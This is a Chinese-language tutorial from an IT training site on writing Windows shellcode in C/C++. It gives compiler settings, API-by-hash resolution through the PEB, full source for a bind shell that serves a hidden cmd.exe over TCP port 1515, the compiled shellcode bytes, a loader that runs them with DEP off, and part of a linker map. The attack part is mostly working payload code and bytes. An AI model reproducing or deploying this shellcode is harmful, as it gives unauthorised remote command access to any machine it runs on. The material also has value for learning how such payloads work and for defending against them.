C/C++知识点之高级语言编写shellcode
小标 2019-06-10 来源 : 阅读 2004 评论 0

摘要:本文主要向大家介绍了C/C++知识点之高级语言编写shellcode,通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。

本文主要向大家介绍了C/C++知识点之高级语言编写shellcode,通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。

C/C++知识点之高级语言编写shellcode

首先修改配置
然后改函数生成顺序(这里要先生成一遍才能看到)
先生成映射文件

再用一个记事本修改顺序再生成一遍

重新生成

运行成功

获取shellcode
先找到布局

一直到main函数

测试(关掉dep)


#include"stdafx.h"
#include <winsock2.h>  
#include <windows.h>
// C/C++
//  |-常规
//  |  |-调试信息格式:程序数据库(/Zi)
//  |  *-SDL检查:否(/sdl-)
//  |-优化
//  |  |-优化:使大小最优化(/O1)
//  |  |-内联函数扩展:已禁用(/Ob0)
//  |  |-启用内部函数:否
//  |  |-优选大小或者速度:代码大小优先(/Os)
//  |  *-全程序优化:是(/GL)
//  *-代码生成
//     |-基本运行时检查:默认值
//     |-安全检查:禁用安全检查(/GS-)
//     *-启用函数级连接:是(/Gy)
//
// 链接器
//  |-常规
//  |  *-启用增量连接:否(/INCREMENTAL:NO)
//  |-调试
//  |  |-生成映射文件:是(/MAP)
//  |  *-映射文件名:mpafile
//  *-优化
//     |-引用:是(/OPT:REF)
//     |-启用COMDAT折叠:是(/OPT:ICF)
//     *-函数顺序:FunctionOrder.txt
// [注:FunctionOrder.txt控制编译器按照指定顺序将特定的COMDAT放到映像文件中]

#define HASH_LoadLibraryExA 0xC0D83287
#define HASH_ExitProcess    0x4FD18963
#define HASH_WSAStartup     0x80B46A3D
#define HASH_WSASocketA     0xDE78322D
#define HASH_htons          0xDDBFA6F3
#define HASH_bind           0xDDA71064
#define HASH_listen         0x4BD39F0C
#define HASH_accept         0x01971EB1
#define HASH_CreateProcessA 0x6BA6BCC9

int GetFunAddrByHash(int nHashDigest);
#define DefineFuncPtr(name,base) decltype(name) *My_##name = (decltype(name)*)GetFunAddrByHash(HASH_##name,base)

void MemZero(PBYTE lpBuff, int nSize)
{
    __asm {
        mov edi, lpBuff
        xor eax, eax
        mov ecx, nSize
        cld
        rep stosb
    }
}

bool Hash_CmpString(char *strFunName, int nHash)
{
    unsigned int nDigest = 0;
    while (*strFunName)
    {
        nDigest = ((nDigest << 25) | (nDigest >> 7));
        nDigest = nDigest + *strFunName;
        strFunName++;
    }
    return nHash == nDigest ? true : false;
}

int GetFunAddrByHash(int nHashDigest, HMODULE hModule)
{
    // 1. 获取DOS头、NT头
    PIMAGE_DOS_HEADER pDos_Header;
    PIMAGE_NT_HEADERS pNt_Header;
    pDos_Header = (PIMAGE_DOS_HEADER)hModule;
    pNt_Header = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDos_Header->e_lfanew);

    // 2. 获取导出表项
    PIMAGE_DATA_DIRECTORY   pDataDir;
    PIMAGE_EXPORT_DIRECTORY pExport;
    pDataDir = pNt_Header->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
    pExport = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModule + pDataDir->VirtualAddress);

    // 3. 获取导出表详细信息
    PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + (DWORD)hModule);
    PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + (DWORD)hModule);
    PWORD  pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals + (DWORD)hModule);

    // 4. 处理以函数名查找函数地址的请求,循环获取ENT中的函数名(因为是以函数名
    //    为基准,因此不考虑无函数名的情况),并与传入值对比,如能匹配上则在EAT
    //    中以指定序号作为索引,并取出其地址值。
    DWORD dwFunAddr;
    for (DWORD i = 0; i<pExport->NumberOfNames; i++)
    {
        PCHAR lpFunName = (PCHAR)(pAddrOfNames[i] + (DWORD)hModule);
        if (Hash_CmpString(lpFunName, nHashDigest))
        {
            dwFunAddr = pAddrOfFun[pAddrOfOrdinals[i]] + (DWORD)hModule;
            break;
        }
        if (i == pExport->NumberOfNames - 1)
            return 0;
    }

    return dwFunAddr;
}

void EntryPoint()
{
    // 1. 局部字符串
    CHAR szKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l','\0' };
    CHAR szWs2_32[] = { 'w','s','2','_','3','2','.','d','l','l','\0' };
    CHAR szCMD[] = { 'c','m','d','.','e','x','e','\0' };

    // 2. 获取关键模块基址
    HMODULE hKeyModule = 0;
    __asm
    {
        push esi
        mov esi, dword ptr fs : [0x30]   // esi = PEB的地址
        mov esi, [esi + 0x0C]            // esi = 指向PEB_LDR_DATA结构的指针
        mov esi, [esi + 0x1C]            // esi = 模块链表指针InInit...List
        mov esi, [esi]                   // esi = 访问链表中的第二个条目
        mov esi, [esi + 0x08]            // esi = 获取Kernel32.dll基址(注1)
        mov hKeyModule, esi
        pop esi
    }// 注1:Win7下获取的是KernelBase.dll的基址

     // 3. 获取关键模块基址
    DefineFuncPtr(LoadLibraryExA, hKeyModule);
    HMODULE hKernel32 = My_LoadLibraryExA(szKernel32, 0, 0);
    HMODULE hWs2_32 = My_LoadLibraryExA(szWs2_32, 0, 0);

    // 4. 初始化Winsock服务
    WSADATA stWSA;
    DefineFuncPtr(WSAStartup, hWs2_32);
    My_WSAStartup(0x0202, &stWSA);
    // 5. 创建一个原始套接字
    SOCKET stListen = INVALID_SOCKET;;
    DefineFuncPtr(WSASocketA, hWs2_32);
    stListen = My_WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
    // 6. 在任意地址(INADDR_ANY)上绑定一个端口1515
    DefineFuncPtr(htons, hWs2_32);
    SOCKADDR_IN stService;
    stService.sin_addr.s_addr = INADDR_ANY;
    stService.sin_port = My_htons(1515);
    stService.sin_family = AF_INET;
    DefineFuncPtr(bind, hWs2_32);
    My_bind(stListen, (LPSOCKADDR)&stService, sizeof(stService));
    // 7. 监听连接(等待连接)
    DefineFuncPtr(listen, hWs2_32);
    My_listen(stListen, SOMAXCONN);
    // 8. 接受一个连接
    DefineFuncPtr(accept, hWs2_32);
    stListen = My_accept(stListen, 0, 0);
    // 9. 创建一个CMD进程,并将其输入与输出重定位到我们创建的套接字上
    PROCESS_INFORMATION stPI;
    STARTUPINFOA        stSI;
    MemZero((PBYTE)&stSI, sizeof(stSI));
    stSI.cb = sizeof(stSI);
    stSI.wShowWindow = SW_HIDE;
    stSI.dwFlags = STARTF_USESTDHANDLES;
    stSI.hStdInput = (HANDLE)stListen;
    stSI.hStdOutput = (HANDLE)stListen;
    stSI.hStdError = (HANDLE)stListen;
    DefineFuncPtr(CreateProcessA, hKernel32);
    My_CreateProcessA(0, szCMD, 0, 0, TRUE, 0, 0, 0, &stSI, &stPI);
    // A. 关闭相关句柄并释放相关资源
    //closesocket(stListen);
    //WSACleanup();
    DefineFuncPtr(ExitProcess, hKernel32);
    My_ExitProcess(0);
}

int _tmain(int argc, TCHAR* argv[])
{

    char bShellcode[] = { "\x55\x8B\xEC\x81\xEC\x1C\x02\x00\x00\x53\x33\xDB\xC7\x45\xDC\x6B\x65\x72\x6E\x56\x57\xC7\x45\xE0\x65\x6C\x33\x32\xC7\x45\xE4\x2E\x64\x6C\x6C\x88\x5D\xE8\xC7\x45\xEC\x77\x73\x32\x5F\xC7\x45\xF0\x33\x32\x2E\x64\x66\xC7\x45\xF4\x6C\x6C\x88\x5D\xF6\xC7\x45\xF8\x63\x6D\x64\x2E\xC7\x45\xFC\x65\x78\x65\x00\x89\x5D\xD8\x56\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x76\x08\x89\x75\xD8\x5E\xFF\x75\xD8\x68\x87\x32\xD8\xC0\xE8\x1E\x01\x00\x00\x59\x59\x53\x8B\xF0\x8D\x45\xDC\x53\x50\xFF\xD6\x6A\x00\x8B\xD8\x8D\x45\xEC\x6A\x00\x50\xFF\xD6\x8B\xF8\x8D\x85\xE4\xFD\xFF\xFF\x50\x68\x02\x02\x00\x00\x57\x68\x3D\x6A\xB4\x80\xE8\xED\x00\x00\x00\x59\x59\xFF\xD0\x57\x68\x2D\x32\x78\xDE\xE8\xDE\x00\x00\x00\x59\x59\x33\xC9\x51\x51\x51\x6A\x06\x6A\x01\x6A\x02\x59\x51\xFF\xD0\x57\x68\xF3\xA6\xBF\xDD\x8B\xF0\xE8\xC0\x00\x00\x00\x83\x65\xCC\x00\x59\x59\x68\xEB\x05\x00\x00\xFF\xD0\x6A\x02\x66\x89\x45\xCA\x58\x6A\x10\x66\x89\x45\xC8\x8D\x45\xC8\x50\x56\x57\x68\x64\x10\xA7\xDD\xE8\x96\x00\x00\x00\x59\x59\xFF\xD0\x68\xFF\xFF\xFF\x7F\x56\x57\x68\x0C\x9F\xD3\x4B\xE8\x81\x00\x00\x00\x59\x59\xFF\xD0\x57\x68\xB1\x1E\x97\x01\xE8\x72\x00\x00\x00\x59\x59\x6A\x00\x6A\x00\x56\xFF\xD0\x6A\x44\x5F\x8B\xF0\x8D\x45\x84\x57\x50\xE8\xF2\x00\x00\x00\x59\x59\x33\xC0\x89\x75\xBC\x66\x89\x45\xB4\x8D\x85\x74\xFF\xFF\xFF\x50\x8D\x45\x84\x89\x75\xC0\x50\x89\x75\xC4\x8D\x45\xF8\x33\xF6\x89\x7D\x84\x56\x56\x56\x6A\x01\x56\x56\x50\x56\x53\x68\xC9\xBC\xA6\x6B\xC7\x45\xB0\x00\x01\x00\x00\xE8\x1B\x00\x00\x00\x59\x59\xFF\xD0\x56\x53\x68\x63\x89\xD1\x4F\xE8\x0B\x00\x00\x00\x59\x59\xFF\xD0\x5F\x5E\x5B\x8B\xE5\x5D\xC3\x55\x8B\xEC\x51\x51\x53\x56\x57\x8B\x7D\x0C\x33\xF6\x8B\x47\x3C\x8B\x44\x38\x78\x03\xC7\x8B\x48\x1C\x8B\x50\x20\x03\xCF\x8B\x58\x18\x03\xD7\x89\x4D\xF8\x8B\x48\x24\x03\xCF\x89\x55\x0C\x89\x4D\xFC\x85\xDB\x74\x23\x8B\x04\xB2\xFF\x75\x08\x03\xC7\x50\xE8\x34\x00\x00\x00\x59\x59\x84\xC0\x75\x1D\x8D\x43\xFF\x3B\xF0\x74\x12\x8B\x55\x0C\x46\x3B\xF3\x72\xDD\x8B\x45\x0C\x5F\x5E\x5B\x8B\xE5\x5D\xC3\x33\xC0\xEB\xF5\x8B\x45\xFC\x8B\x4D\xF8\x0F\xB7\x04\x70\x8B\x04\x81\x03\xC7\xEB\xE4\x55\x8B\xEC\x8B\x55\x08\x33\xC9\xEB\x09\xC1\xC9\x07\x0F\xBE\xC0\x03\xC8\x42\x8A\x02\x84\xC0\x75\xF1\x39\x4D\x0C\x0F\x94\xC0\x5D\xC3\x55\x8B\xEC\x57\x8B\x7D\x08\x33\xC0\x8B\x4D\x0C\xFC\xF3\xAA\x5F\x5D\xC3" };

    __asm {
        lea eax, bShellcode;
        push eax;
        ret
    }
    //EntryPoint();
    return 0;
}


{
0x55, 0x8B, 0xEC, 0x81, 0xEC, 0x1C, 0x02, 0x00, 0x00, 0x53, 0x33, 0xDB, 0xC7, 0x45, 0xDC, 0x6B,
0x65, 0x72, 0x6E, 0x56, 0x57, 0xC7, 0x45, 0xE0, 0x65, 0x6C, 0x33, 0x32, 0xC7, 0x45, 0xE4, 0x2E,
0x64, 0x6C, 0x6C, 0x88, 0x5D, 0xE8, 0xC7, 0x45, 0xEC, 0x77, 0x73, 0x32, 0x5F, 0xC7, 0x45, 0xF0,
0x33, 0x32, 0x2E, 0x64, 0x66, 0xC7, 0x45, 0xF4, 0x6C, 0x6C, 0x88, 0x5D, 0xF6, 0xC7, 0x45, 0xF8,
0x63, 0x6D, 0x64, 0x2E, 0xC7, 0x45, 0xFC, 0x65, 0x78, 0x65, 0x00, 0x89, 0x5D, 0xD8, 0x56, 0x64,
0x8B, 0x35, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B, 0x36, 0x8B, 0x76,
0x08, 0x89, 0x75, 0xD8, 0x5E, 0xFF, 0x75, 0xD8, 0x68, 0x87, 0x32, 0xD8, 0xC0, 0xE8, 0x1E, 0x01,
0x00, 0x00, 0x59, 0x59, 0x53, 0x8B, 0xF0, 0x8D, 0x45, 0xDC, 0x53, 0x50, 0xFF, 0xD6, 0x6A, 0x00,
0x8B, 0xD8, 0x8D, 0x45, 0xEC, 0x6A, 0x00, 0x50, 0xFF, 0xD6, 0x8B, 0xF8, 0x8D, 0x85, 0xE4, 0xFD,
0xFF, 0xFF, 0x50, 0x68, 0x02, 0x02, 0x00, 0x00, 0x57, 0x68, 0x3D, 0x6A, 0xB4, 0x80, 0xE8, 0xED,
0x00, 0x00, 0x00, 0x59, 0x59, 0xFF, 0xD0, 0x57, 0x68, 0x2D, 0x32, 0x78, 0xDE, 0xE8, 0xDE, 0x00,
0x00, 0x00, 0x59, 0x59, 0x33, 0xC9, 0x51, 0x51, 0x51, 0x6A, 0x06, 0x6A, 0x01, 0x6A, 0x02, 0x59,
0x51, 0xFF, 0xD0, 0x57, 0x68, 0xF3, 0xA6, 0xBF, 0xDD, 0x8B, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00,
0x83, 0x65, 0xCC, 0x00, 0x59, 0x59, 0x68, 0xEB, 0x05, 0x00, 0x00, 0xFF, 0xD0, 0x6A, 0x02, 0x66,
0x89, 0x45, 0xCA, 0x58, 0x6A, 0x10, 0x66, 0x89, 0x45, 0xC8, 0x8D, 0x45, 0xC8, 0x50, 0x56, 0x57,
0x68, 0x64, 0x10, 0xA7, 0xDD, 0xE8, 0x96, 0x00, 0x00, 0x00, 0x59, 0x59, 0xFF, 0xD0, 0x68, 0xFF,
0xFF, 0xFF, 0x7F, 0x56, 0x57, 0x68, 0x0C, 0x9F, 0xD3, 0x4B, 0xE8, 0x81, 0x00, 0x00, 0x00, 0x59,
0x59, 0xFF, 0xD0, 0x57, 0x68, 0xB1, 0x1E, 0x97, 0x01, 0xE8, 0x72, 0x00, 0x00, 0x00, 0x59, 0x59,
0x6A, 0x00, 0x6A, 0x00, 0x56, 0xFF, 0xD0, 0x6A, 0x44, 0x5F, 0x8B, 0xF0, 0x8D, 0x45, 0x84, 0x57,
0x50, 0xE8, 0xF2, 0x00, 0x00, 0x00, 0x59, 0x59, 0x33, 0xC0, 0x89, 0x75, 0xBC, 0x66, 0x89, 0x45,
0xB4, 0x8D, 0x85, 0x74, 0xFF, 0xFF, 0xFF, 0x50, 0x8D, 0x45, 0x84, 0x89, 0x75, 0xC0, 0x50, 0x89,
0x75, 0xC4, 0x8D, 0x45, 0xF8, 0x33, 0xF6, 0x89, 0x7D, 0x84, 0x56, 0x56, 0x56, 0x6A, 0x01, 0x56,
0x56, 0x50, 0x56, 0x53, 0x68, 0xC9, 0xBC, 0xA6, 0x6B, 0xC7, 0x45, 0xB0, 0x00, 0x01, 0x00, 0x00,
0xE8, 0x1B, 0x00, 0x00, 0x00, 0x59, 0x59, 0xFF, 0xD0, 0x56, 0x53, 0x68, 0x63, 0x89, 0xD1, 0x4F,
0xE8, 0x0B, 0x00, 0x00, 0x00, 0x59, 0x59, 0xFF, 0xD0, 0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3,
0x55, 0x8B, 0xEC, 0x51, 0x51, 0x53, 0x56, 0x57, 0x8B, 0x7D, 0x0C, 0x33, 0xF6, 0x8B, 0x47, 0x3C,
0x8B, 0x44, 0x38, 0x78, 0x03, 0xC7, 0x8B, 0x48, 0x1C, 0x8B, 0x50, 0x20, 0x03, 0xCF, 0x8B, 0x58,
0x18, 0x03, 0xD7, 0x89, 0x4D, 0xF8, 0x8B, 0x48, 0x24, 0x03, 0xCF, 0x89, 0x55, 0x0C, 0x89, 0x4D,
0xFC, 0x85, 0xDB, 0x74, 0x23, 0x8B, 0x04, 0xB2, 0xFF, 0x75, 0x08, 0x03, 0xC7, 0x50, 0xE8, 0x34,
0x00, 0x00, 0x00, 0x59, 0x59, 0x84, 0xC0, 0x75, 0x1D, 0x8D, 0x43, 0xFF, 0x3B, 0xF0, 0x74, 0x12,
0x8B, 0x55, 0x0C, 0x46, 0x3B, 0xF3, 0x72, 0xDD, 0x8B, 0x45, 0x0C, 0x5F, 0x5E, 0x5B, 0x8B, 0xE5,
0x5D, 0xC3, 0x33, 0xC0, 0xEB, 0xF5, 0x8B, 0x45, 0xFC, 0x8B, 0x4D, 0xF8, 0x0F, 0xB7, 0x04, 0x70,
0x8B, 0x04, 0x81, 0x03, 0xC7, 0xEB, 0xE4, 0x55, 0x8B, 0xEC, 0x8B, 0x55, 0x08, 0x33, 0xC9, 0xEB,
0x09, 0xC1, 0xC9, 0x07, 0x0F, 0xBE, 0xC0, 0x03, 0xC8, 0x42, 0x8A, 0x02, 0x84, 0xC0, 0x75, 0xF1,
0x39, 0x4D, 0x0C, 0x0F, 0x94, 0xC0, 0x5D, 0xC3, 0x55, 0x8B, 0xEC, 0x57, 0x8B, 0x7D, 0x08, 0x33,
0xC0, 0x8B, 0x4D, 0x0C, 0xFC, 0xF3, 0xAA, 0x5F, 0x5D, 0xC3
};


ConsoleApplication3

 Timestamp is 5b177c59 (Wed Jun  6 14:16:57 2018)

 Preferred load address is 00400000

 Start         Length     Name                   Class
 0001:00000000 00001316H .text$mn                CODE
 0002:00000000 000000a4H .idata$5                DATA
 0002:000000a4 00000004H .00cfg                  DATA
 0002:000000a8 00000004H .CRT$XCA                DATA
 0002:000000ac 00000004H .CRT$XCAA               DATA
 0002:000000b0 00000004H .CRT$XCZ                DATA
 0002:000000b4 00000004H .CRT$XIA                DATA
 0002:000000b8 00000004H .CRT$XIAA               DATA
 0002:000000bc 00000004H .CRT$XIAC               DATA
 0002:000000c0 00000004H .CRT$XIZ                DATA
 0002:000000c4 00000004H .CRT$XPA                DATA
 0002:000000c8 00000004H .CRT$XPZ                DATA
 0002:000000cc 00000004H .CRT$XTA                DATA
 0002:000000d0 00000010H .CRT$XTZ                DATA
 0002:000000e0 00000310H .rdata                  DATA
 0002:000003f0 00000004H .rdata$sxdata           DATA
 0002:000003f4 000002e8H .rdata$zzzdbg           DATA
 0002:000006dc 00000004H .rtc$IAA                DATA
 0002:000006e0 00000004H .rtc$IZZ                DATA
 0002:000006e4 00000004H .rtc$TAA                DATA
 0002:000006e8 00000008H .rtc$TZZ                DATA
 0002:000006f0 0000003cH .xdata$x                DATA
 0002:0000072c 00000000H .edata                  DATA
 0002:0000072c 0000003cH .idata$2                DATA
 0002:00000768 00000014H .idata$3                DATA
 0002:0000077c 000000a4H .idata$4                DATA
 0002:00000820 0000032aH .idata$6                DATA
 0003:00000000 00000018H .data                   DATA
 0003:00000018 00000374H .bss                    DATA
 0004:00000000 00000020H .gfids$y                DATA
 0005:00000000 00000060H .rsrc$01                DATA
 0005:00000060 00000180H .rsrc$02                DATA

  Address         Publics by Value              Rva+Base       Lib:Object

 0000:00000000       ___guard_longjmp_table     00000000     <absolute>
 0000:00000000       ___guard_iat_count         00000000     <absolute>
 0000:00000000       ___guard_fids_table        00000000     <absolute>
 0000:00000000       ___dynamic_value_reloc_table 00000000     <absolute>
 0000:00000000       ___guard_fids_count        00000000     <absolute>
 0000:00000000       ___guard_longjmp_count     00000000     <absolute>
 0000:00000000       ___guard_iat_table         00000000     <absolute>
 0000:00000001       ___safe_se_handler_count   00000001     <absolute>
 0000:00000100       ___guard_flags             00000100     <absolute>
 0000:00000000       ___ImageBase               00400000     <linker-defined>
 0001:00000000       _wmain                     00401000 f   ConsoleApplication3.obj
 0001:00000340       ?configure_argv@__scrt_wide_argv_policy@@SAHXZ 00401340 f i MSVCRTD:exe_wmain.obj
 0001:000003a0       _wmainCRTStartup           004013a0 f   MSVCRTD:exe_wmain.obj
 0001:000003b0       ??$__crt_fast_decode_pointer@PAP6AXXZ@@YAPAP6AXXZQAP6AXXZ@Z 004013b0 f i MSVCRTD:utility.obj
 0001:000003e0       ??$__crt_fast_encode_pointer@PAP6AXXZ@@YAPAP6AXXZQAP6AXXZ@Z 004013e0 f i MSVCRTD:utility.obj
 0001:00000410       ?__crt_rotate_pointer_value@@YAIIH@Z 00401410 f i MSVCRTD:utility.obj
 0001:00000520       _NtCurrentTeb              00401520 f i MSVCRTD:utility.obj
 0001:00000530       ___scrt_acquire_startup_lock 00401530 f   MSVCRTD:utility.obj
 0001:00000580       ___scrt_initialize_crt     00401580 f   MSVCRTD:utility.obj
 0001:000005d0       ___scrt_initialize_onexit_tables 004015d0 f   MSVCRTD:utility.obj
 0001:000006a0       ___scrt_is_nonwritable_in_current_imag    

本文由职坐标整理并发布,希望对同学们有所帮助。了解更多详情请关注职坐标编程语言C/C+频道!

本文由 @小标 发布于职坐标。未经许可,禁止转载。
喜欢 | 1 不喜欢 | 0
看完这篇文章有何感觉?已经有1人表态,100%的人喜欢 快给朋友分享吧~
评论(0)
后参与评论

您输入的评论内容中包含违禁敏感词

我知道了

助您圆梦职场 匹配合适岗位
验证码手机号,获得海同独家IT培训资料
选择就业方向:
人工智能物联网
大数据开发/分析
人工智能Python
Java全栈开发
WEB前端+H5

请输入正确的手机号码

请输入正确的验证码

获取验证码

您今天的短信下发次数太多了,明天再试试吧!

提交

我们会在第一时间安排职业规划师联系您!

您也可以联系我们的职业规划师咨询:

小职老师的微信号:z_zhizuobiao
小职老师的微信号:z_zhizuobiao

版权所有 职坐标-一站式IT培训就业服务领导者 沪ICP备13042190号-4
上海海同信息科技有限公司 Copyright ©2015 www.zhizuobiao.com,All Rights Reserved.
 沪公网安备 31011502005948号    

©2015 www.zhizuobiao.com All Rights Reserved

208小时内训课程